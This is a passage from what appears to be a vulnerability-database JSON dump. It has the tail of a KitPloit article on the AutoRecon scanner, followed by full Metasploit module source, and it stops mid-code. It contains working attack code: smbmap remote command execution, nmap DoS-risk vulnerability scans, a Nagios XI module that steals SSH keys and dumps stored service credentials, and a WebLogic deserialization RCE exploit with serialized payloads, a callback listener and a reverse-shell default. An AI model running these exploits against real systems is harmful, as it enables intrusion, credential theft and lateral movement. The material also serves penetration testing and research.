'smbmap -H {address} -P {port} 2>&1 | tee -a \"{scandir}/smbmap-share-permissions.txt\"; smbmap -u null -p \"\" -H {address} -P {port} 2>&1 | tee -a \"{scandir}/smbmap-share-permissions.txt\"'\n \n [[smb.scan]]\n name = 'smbmap-list-contents'\n command = 'smbmap -H {address} -P {port} -R 2>&1 | tee -a \"{scandir}/smbmap-list-contents.txt\"; smbmap -u null -p \"\" -H {address} -P {port} -R 2>&1 | tee -a \"{scandir}/smbmap-list-contents.txt\"'\n \n [[smb.scan]]\n name = 'smbmap-execute-command'\n command = 'smbmap -H {address} -P {port} -x \"ipconfig /all\" 2>&1 | tee -a \"{scandir}/smbmap-execute-command.txt\"; smbmap -u null -p \"\" -H {address} -P {port} -x \"ipconfig /all\" 2>&1 | tee -a \"{scandir}/smbmap-execute-command.txt\"'\n \n [[smb.manual]]\n description = 'Nmap scans for SMB vulnerabilities that could potentially cause a DoS if scanned (according to Nmap). Be careful:'\n commands = [\n 'nmap {nmap_extra} -sV -p {port} --script=\"smb-vuln-ms06-025\" --script-args=\"unsafe=1\" -oN \"{scandir}/{protocol}_{port}_smb_ms06-025.txt\" -oX \"{scandir}/xml/{protocol}_{port}_smb_ms06-025.xml\" {address}',\n 'nmap {nmap_extra} -sV -p {port} --script=\"smb-vuln-ms07-029\" --script-args=\"unsafe=1\" -oN \"{scandir}/{protocol}_{port}_smb_ms07-029.txt\" -oX \"{scandir}/xml/{protocol}_{port}_smb_ms07-029.xml\" {address}',\n 'nmap {nmap_extra} -sV -p {port} --script=\"smb-vuln-ms08-067\" --script-args=\"unsafe=1\" -oN \"{scandir}/{protocol}_{port}_smb_ms08-067.txt\" -oX \"{scandir}/xml/{protocol}_{port}_smb_ms08-067.xml\" {address}'\n ]\n\nThe main difference here is that several scans have some new settings: \n\n\n * The ports.tcp array defines a whitelist of TCP ports which the command can be run against. If the service is detected on a port that is not in the whitelist, the command will not be run against it. \n * The ports.udp array defines a whitelist of UDP ports which the command can be run against. It operates in the same way as the ports.tcp array. \nWhy do these settings even exist? Well, some commands will only run against specific ports, and can't be told to run against any other ports. enum4linux for example, will only run against TCP ports 139, 389, and 445, and UDP port 137. \nIn fact, enum4linux will always try these ports when it is run. So if the SMB service is found on TCP ports 139 and 445, AutoRecon may attempt to run enum4linux twice for no reason. This is why the third setting exists: \n\n\n * If run_once is set to true, the command will only ever run once for that target, even if the SMB service is found on multiple ports. \n \n** Testimonials ** \n\n\n> AutoRecon was invaluable during my OSCP exam, in that it saved me from the tedium of executing my active [ information gathering ](<https://www.kitploit.com/search/label/Information%20Gathering> \"information gathering\" ) commands myself. I was able to start on a target with all of the information I needed clearly laid in front of me. I would strongly recommend this utility for anyone in the PWK labs, the OSCP exam, or other environments such as VulnHub or HTB. It is a great tool for both people just starting down their journey into OffSec and seasoned veterans alike. Just make sure that somewhere between those two points you take the time to learn what's going on \"under the hood\" and how / why it scans what it does. \n\\- b0ats (rooted 5/5 exam hosts) \n\n> Wow, what a great find! Before using AutoRecon, ReconScan was my goto enumeration script for targets because it automatically ran the enumeration commands after it finds open ports. The only thing missing was the automatic creation of key directories a pentester might need during an engagement (exploit, loot, report, scans). Reconnoitre did this but didn't automatically run those commands for you. I thought ReconScan that was the bee's knees until I gave AutoRecon a try. It's awesome! It combines the best features of Reconnoitre (auto directory creation) and ReconScan (automatically executing the enumeration commands). All I have to do is run it on a target or a set of targets and start going over the information it has already collected while it continues the rest of scan. The proof is in the pudding :) Passed the OSCP exam! Kudos to Tib3rius! \n\\- werk0ut \n\n> A friend told me about AutoRecon, so I gave it a try in the PWK labs. AutoRecon launches the common tools we all always use, whether it be nmap or nikto, and also creates a nice subfolder system based on the targets you are attacking. The strongest feature of AutoRecon is the speed; on the OSCP exam I left the tool running in the background while I started with another target, and in a matter of minutes I had all of the AutoRecon output waiting for me. AutoRecon creates a file full of commands that you should try manually, some of which may require tweaking (for example, hydra bruteforcing commands). It's good to have that extra checklist. \n\\- tr3mb0 (rooted 4/5 exam hosts) \n\n> Being introduced to AutoRecon was a complete game changer for me while taking the OSCP and establishing my penetration testing methodology. AutoRecon is a multi-threaded reconnaissance tool that combines and automates popular enumeration tools to do most of the hard work for you. You can't get much better than that! After running AutoRecon on my OSCP exam hosts, I was given a treasure chest full of information that helped me to start on each host and pass on my first try. The best part of the tool is that it automatically launches further enumeration scans based on the initial port scans (e.g. run enum4linux if SMB is detected). The only bad part is that I did not use this tool sooner! Thanks Tib3rius. \n\\- rufy (rooted 4/5 exam hosts) \n\n> AutoRecon allows a security researcher to iteratively scan hosts and identify potential attack vectors. Its true power comes in the form of performing scans in the background while the attacker is working on another host. I was able to start my scans and finish a specific host I was working on - and then return to find all relevant scans completed. I was then able to immediately begin trying to gain initial access instead of manually performing the active scanning process. I will continue to use AutoRecon in future penetration tests and CTFs, and highly recommend you do the same. \n\\- waar (rooted 4.99/5 exam hosts) \n\n> \"If you have to do a task more than twice a day, you need to automate it.\" That's a piece of advice that an old boss gave to me. AutoRecon takes that lesson to heart. Whether you're sitting in the exam, or in the PWK labs, you can fire off AutoRecon and let it work its magic. I had it running during my last exam while I worked on the buffer overflow. By the time I finished, all the enum data I needed was there for me to go through. 10/10 would recommend for anyone getting into CTF, and anyone who has been at this a long time. \n\\- whoisflynn \n\n> I love this tool so much I wrote it. \n\\- Tib3rius (rooted 5/5 exam hosts) \n\n> I highly recommend anyone going for their OSCP, doing CTFs or on HTB to checkout this tool. Been using AutoRecon on HTB for a month before using it over on the PWK labs and it helped me pass my OSCP exam. If you're having a hard time getting settled with an enumeration methodology I encourage you to follow the flow and techniques this script uses. It takes out a lot of the tedious work that you're probably used to while at the same time provide well-organized subdirectories to quickly look over so you don't lose your head. The manual commands it provides are great for those specific situations that need it when you have run out of options. It's a very valuable tool, cannot recommend enough. \n\\- d0hnuts (rooted 5/5 exam hosts) \n\n> Autorecon is not just any other tool, it is a recon correlation framwork for engagements. This helped me fire a whole bunch of scans while I was working on other targets. This can help a lot in time management. This assisted me to own 4/5 boxes in pwk exam! Result: Passed! \n\\- Wh0ami (rooted 4/5 exam hosts) \n\n \n \n\n\n** [ Download AutoRecon ](<https://github.com/Tib3rius/AutoRecon> \"Download AutoRecon\" ) **\n", "modified": "2019-08-05T12:45:10", "published": "2019-08-05T12:45:10", "id": "KITPLOIT:1038246097985430185", "href": "http://www.kitploit.com/2019/08/autorecon-multi-threaded-network.html", "title": "AutoRecon - Multi-Threaded Network Reconnaissance Tool Which Performs Automated Enumeration Of Services", "type": "kitploit", "cvss": {"score": 0.0, "vector": "NONE"}}], "metasploit": [{"lastseen": "2019-11-27T18:40:05", "bulletinFamily": "exploit", "description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials, creating opportunities for lateral movement.\n", "modified": "2019-10-10T21:57:49", "published": "2019-07-27T17:22:58", "id": "MSF:POST/LINUX/GATHER/ENUM_NAGIOS_XI", "href": "", "type": "metasploit", "title": "Nagios XI Enumeration", "sourceData": " ##\n # This module requires Metasploit: https://metasploit.com/download\n # Current source: https://github.com/rapid7/metasploit-framework\n ##\n\n class MetasploitModule < Msf::Post\n include Msf::Post::Linux::System\n include Msf::Exploit::FileDropper\n\n def initialize(info={})\n super(update_info(info, {\n 'Name' => 'Nagios XI Enumeration',\n 'Description' => %q{\n NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Cale Smith', # @0xC413\n ],\n 'DisclosureDate' => 'Apr 17 2018',\n 'Platform' => 'linux',\n 'SessionTypes' => ['shell', 'meterpreter'],\n }\n ))\n register_options([\n OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])\n ])\n end\n\n # save found creds in the MSF DB for easy use\n def report_obj(cred, login)#, login)\n return if cred.nil? || login.nil?\n credential_data = {\n origin_type: :session,\n post_reference_name: self.fullname,\n session_id: session_db_id,\n workspace_id: myworkspace_id,\n\n }.merge(cred)\n credential_core = create_credential(credential_data)\n\n login_data = {\n core: credential_core,\n workspace_id: myworkspace_id\n }.merge(login)\n\n create_credential_login(login_data)\n end\n\n #parse out domain realm for windows services\n def parse_realm(username)\n userealm=username.split('/')\n\n if userealm.count>1\n realm = userealm[0]\n username = userealm[1]\n\n credential_data={\n realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,\n realm_value: realm,\n username: username\n }\n else\n credential_data={\n username: username\n }\n\n end\n\n return credential_data\n end\n\n def run\n @peer = \"#{session.session_host}:#{session.session_port}\"\n\n @creds = []\n @ssh_keys = []\n\n #get nagios SSH private key\n id_rsa_path = '/home/nagios/.ssh/id_rsa'\n if file?(id_rsa_path)\n print_good('Attempting to grab Nagios SSH key')\n ssh_key = read_file(id_rsa_path)\n ssh_key_loot = store_loot(\n 'nagios_ssh_priv_key',\n 'text/plain',\n session,\n ssh_key,\n nil\n )\n print_status(\"Nagios SSH key stored in #{ssh_key_loot}\")\n else\n print_status('No SSH key found')\n end\n\n print_status('Attempting to dump Nagios DB')\n db_dump_file = \"/tmp/#{Rex::Text.rand_text_alpha(6)}\"\n\n sql_query = %Q|mysql -u root -p#{datastore['DB_ROOT_PWD']} -e \"|\n sql_query << %Q|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\\\\"','%22') FROM nagios.nagios_hosts |\n sql_query << %Q|INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id |\n sql_query << %Q|INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id |\n sql_query << %Q|WHERE nagios_services.check_command_object_id!=89 |\n sql_query << %Q|ORDER BY nagios_services.check_command_object_id |\n sql_query << %Q|INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\\\\"' LINES TERMINATED BY '\\\\n' ;\"|\n\n out = cmd_exec(sql_query)\n if out.match(/error/i)\n print_error(\"Could not get DB contents: #{out.gsub(/\\n/, ' ')}\")\n return\n else\n db_dump = read_file(db_dump_file)\n print_good('Nagios DB dump successful')\n # store raw db results, there is likely good stuff in here that we don't parse out\n db_loot = store_loot(\n 'nagiosxi_raw_db_dump',\n 'text/plain',\n session,\n db_dump,\n nil\n )\n print_status(\"Raw Nagios DB dump #{db_loot}\")\n print_status(\"Look through the DB dump manually. There could be\\ some good loot we didn't parse out.\")\n end\n\n CSV.parse(db_dump) do |row|\n case row[0]\n when \"110\" #WMI\n host = row[1]\n creds = row[2].split('!')\n username = creds[0].match(/'(.*?)'/)[1]\n password = creds[1].match(/'(.*?)'/)[1]\n\n user_credential_data = parse_realm(username)\n\n credential_data = {\n private_data: password,\n private_type: :password,\n }.merge(user_credential_data)\n\n login_data = {\n address: host,\n port: 135,\n service_name: 'WMI',\n protocol: 'tcp',\n }\n\n when \"59\" #SSH\n host = row[1]\n\n credential_data = {\n username: 'nagios',\n private_data: ssh_key,\n private_type: :ssh_key\n }\n\n login_data = {\n address: host,\n port: 22,\n service_name: 'SSH',\n protocol: 'tcp',\n }\n\n when \"25\" #FTP\n host = row[1]\n creds = row[2].split('!')\n username = creds[0]\n password = creds[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 21,\n service_name: 'FTP',\n protocol: 'tcp',\n }\n\n when \"67\" #MYSQL\n host = row[1]\n username=row[2].match(/--username=(.*?)\\s/)[1]\n password=row[2].match(/--password=%22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 3306,\n service_name: 'MySQL',\n protocol: 'tcp',\n }\n\n when \"66\" #MSSQL\n host = row[1]\n username=row[2].match(/-U '(.*?)'/)[1]\n password=row[2].match(/-P '(.*?)'/)[1]\n\n user_credential_data = parse_realm(username)\n credential_data = {\n private_data: password,\n private_type: :password,\n }.merge(user_credential_data)\n\n login_data = {\n address: host,\n port: 1433,\n service_name: 'MSSQL',\n protocol: 'tcp',\n }\n\n when \"76\" #POSTGRES\n host = row[1]\n username=row[2].match(/--dbuser=(.*?)\\s/)[1]\n password=row[2].match(/--dbpass=%22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 5432,\n service_name: 'PostgreSQL',\n protocol: 'tcp',\n }\n\n when \"85\" #SNMP\n host = row[1]\n creds = row[2].split('!')\n password = ' '\n username = creds[0]\n port = 161\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 161,\n service_name: 'SNMP',\n protocol: 'udp',\n }\n\n when \"88\" #LDAP\n host = row[1]\n username = row[2].match(/-D %22(.*?)%22/)[1]\n password = row[2].match(/-P %22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 389,\n service_name: 'LDAP',\n protocol: 'tcp',\n }\n else\n #base case\n end\n unless credential_data.nil? || login_data.nil?\n report_obj(credential_data, login_data)\n end\n end\n\n\n print_status(\"Run 'creds' to see credentials loaded into the MSF DB\")\n\n #cleanup db dump\n register_file_for_cleanup(db_dump_file)\n end\n end\n\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/linux/gather/enum_nagios_xi.rb"}, {"lastseen": "2019-12-06T03:15:10", "bulletinFamily": "exploit", "description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a serialized object to the interface to execute code on vulnerable hosts.\n", "modified": "2018-08-29T19:56:31", "published": "2018-08-28T17:38:54", "id": "MSF:EXPLOIT/MULTI/MISC/WEBLOGIC_DESERIALIZE", "href": "", "type": "metasploit", "title": "Oracle Weblogic Server Deserialization RCE", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/exploit/powershell'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ManualRanking\n\n include Msf::Exploit::Remote::Tcp\n include Msf::Exploit::Remote::TcpServer\n include Msf::Exploit::Powershell\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => 'Oracle Weblogic Server Deserialization RCE',\n 'Description' => %q{\n An unauthenticated attacker with network access to the Oracle Weblogic\n Server T3 interface can send a serialized object to the interface to\n execute code on vulnerable hosts.\n },\n 'Author' =>\n [\n 'brianwrf', # EDB PoC\n 'Jacob Robles' # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2018-2628'],\n ['EDB', '44553']\n ],\n 'Privileged' => false,\n 'Targets' =>\n [\n [ 'Unix',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},\n 'Payload' => {\n 'Encoder' => 'cmd/ifs',\n 'BadChars' => ' ',\n 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}\n }\n ],\n [ 'Windows',\n 'Platform' => 'win',\n 'Payload' => {},\n 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' =>\n {\n 'RPORT' => 7001\n },\n 'DisclosureDate' => 'Apr 17 2018'))\n end\n\n def check\n connect\n req = \"GET /console/login/LoginForm.jsp HTTP/1.1\\n\"\n req << \"Host: #{peer}\\n\\n\"\n sock.put(req)\n\n res = sock.get_once\n disconnect\n return CheckCode::Unknown unless res\n\n /WebLogic Server Version: (?<version>\\d+\\.\\d+\\.\\d+\\.*\\d*)/ =~ res\n if version\n version = Gem::Version.new(version)\n vprint_good(\"Detected Oracle WebLogic Server Version: #{version.to_s}\")\n\n case\n when version.to_s.start_with?('10.3')\n return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')\n when version.to_s.start_with?('12.1')\n return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')\n when version.to_s.start_with?('12.2')\n return CheckCode::Appears unless version > Gem::Version.new('12.2.1.3')\n end\n end\n\n if res.include?('Oracle WebLogic Server Administration Console')\n return CheckCode::Detected\n end\n\n CheckCode::Unknown\n end\n\n def gen_resp\n if target.name == 'Windows'\n pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})\n tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join\n else\n nix_cmd = payload.encoded\n nix_cmd.prepend('/bin/sh -c ')\n tmp_dat = nix_cmd.each_byte.map {|b| b.to_s(16)}.join\n end\n\n mycmd = (tmp_dat.length >> 1).to_s(16).rjust(4,'0')\n mycmd << tmp_dat\n\n # Response data taken from JRMPListener generated data:\n # java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 'calc.exe'\n # Modified captured network traffic bytes. Patch in command to run\n @resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'\n @resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'\n @resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'\n @resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'\n @resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'\n @resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'\n @resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'\n @resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'\n @resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'\n @resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'\n @resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'\n @resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'\n @resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'\n @resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'\n @resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'\n @resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'\n @resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'\n @resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'\n @resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'\n @resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'\n @resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'\n @resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'\n @resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'\n @resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'\n @resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'\n @resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'\n @resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'\n @resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'\n @resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'\n @resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'\n @resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'\n @resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'\n @resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'\n @resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'\n @resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'\n @resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'\n @resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'\n @resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'\n @resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'\n @resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'\n @resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'\n @resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'\n @resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'\n @resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'\n @resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'\n @resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'\n @resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'\n @resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'\n @resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'\n @resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'\n @resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'\n @resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'\n @resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'\n @resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'\n @resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'\n @resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'\n @resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'\n @resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'\n @resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'\n @resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'\n @resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'\n @resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'\n @resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'\n @resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'\n @resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'\n @resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'\n @resp << '673badd256e7e91d7b470200007078700000000174'\n\n @resp << mycmd\n\n @resp << '74'\n @resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'\n @resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'\n @resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'\n @resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'\n @resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'\n @resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'\n @resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'\n @resp << '7e005a'\n end\n\n def on_client_connect(client)\n # Make sure to only sent one meterpreter payload to a host.\n # During testing the remote host called back up to 11 times\n # (or as long as the server was listening).\n vprint_status(\"Comparing host: #{client.peerhost}\")\n if @met_sent.include?(client.peerhost) then return end\n @met_sent << client.peerhost\n\n vprint_status(\"Sending payload to client: #{client.peerhost}\")\n\n # Response format determined by watching network traffic\n # generated by EDB PoC\n accept_conn = '4e00'\n raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join\n accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')\n accept_conn << raccept_conn\n accept_conn << '0000'\n accept_conn << client.peerport.to_s(16).rjust(4,'0')\n\n client.put([accept_conn].pack('H*'))\n client.put([@resp].pack('H*'))\n end\n\n def t3_handshake\n shake = '74332031322e322e310a41533a323535'\n shake << '0a484c3a31390a4d533a313030303030'\n shake << '30300a0a'\n\n sock.put([shake].pack('H*'))\n sleep(1)\n sock.get_once\n end\n\n def build_t3_request_object\n # data block is from EDB PoC\n data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'\n data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'\n data << '700000000a000000030000000000000006007070707070700000000a00000003'\n data << '0000000000000006007006fe010000aced00057372001d7765626c6f6769632e'\n data << '726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078'\n data << '707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e506163'\n data << '6b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d69'\n data << '6e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b'\n data << '5a000e74656d706f7261727950617463684c0009696d706c5469746c65740012'\n data << '4c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271'\n data << '007e00034c000b696d706c56657273696f6e71007e000378707702000078fe01'\n data << '0000aced00057372001d7765626c6f6769632e726a766d2e436c617373546162'\n data << '6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e'\n data << '636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f9722455164'\n data << '52463e0200035b00087061636b616765737400275b4c7765626c6f6769632f63'\n data << '6f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e7265'\n data << '6c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e67'\n data << '3b5b001276657273696f6e496e666f417342797465737400025b427872002477'\n data << '65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b61676549'\n data << '6e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f724900'\n data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'\n data << '6d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a'\n data << '696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e'\n data << '000478707702000078fe010000aced00057372001d7765626c6f6769632e726a'\n data << '766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072'\n data << '00217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5065657249'\n data << '6e666f585474f39bc908f10200064900056d616a6f724900056d696e6f724900'\n data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'\n data << '6d706f7261727950617463685b00087061636b616765737400275b4c7765626c'\n data << '6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f'\n data << '3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5665'\n data << '7273696f6e496e666f972245516452463e0200035b00087061636b6167657371'\n data << '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c61'\n data << '6e672f537472696e673b5b001276657273696f6e496e666f4173427974657374'\n data << '00025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c'\n data << '2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f7249'\n data << '00056d696e6f7249000c726f6c6c696e67506174636849000b73657276696365'\n data << '5061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c'\n data << '6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56'\n data << '657273696f6e71007e000578707702000078fe00fffe010000aced0005737200'\n data << '137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078'\n data << '707750210000000000000000000d3139322e3136382e312e323237001257494e'\n data << '2d4147444d565155423154362e656883348cd6000000070000'\n\n data << rport.to_s(16).rjust(4, '0')\n\n data << 'ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced00'\n data << '05737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a'\n data << '0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461'\n data << '863d1d0000000078'\n\n sock.put([data].pack('H*'))\n sleep(2)\n sock.get_once\n end\n\n def send_payload_objdata\n # JRMPClient2 payload generated from EDB PoC:\n # python exploit.py <rhost> <rport> ysoserial-0.0.6-SNAPSHOT-BETA-all.jar <lhost> <lport> JRMPClient2\n # Patch in srvhost and srvport\n payload = '056508000000010000001b0000005d0101007372017870737202787000000000'\n payload << '00000000757203787000000000787400087765626c6f67696375720478700000'\n payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced'\n payload << '00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e'\n payload << '7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e0020000'\n payload << '78707702000078fe010000aced00057372001d7765626c6f6769632e726a766d'\n payload << '2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870720013'\n payload << '5b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870'\n payload << '7702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e43'\n payload << '6c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a61'\n payload << '76612e7574696c2e566563746f72d9977d5b803baf0103000349001163617061'\n payload << '63697479496e6372656d656e7449000c656c656d656e74436f756e745b000b65'\n payload << '6c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b'\n payload << '78707702000078fe010000'\n\n # Data\n payload << 'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e'\n payload << '416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50'\n payload << '726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e67'\n payload << '2f7265666c6563742f496e766f636174696f6e48616e646c65723b7870737200'\n payload << '2d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e76'\n payload << '6f636174696f6e48616e646c657200000000000000020200007872001c6a6176'\n payload << '612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6133'\n payload << '1e030000787077'\n\n unicast_srvhost = srvhost.each_byte.map { |b| b.to_s(16) }.join\n unicast_dat = '000a556e696361737452656600'\n unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')\n unicast_dat << 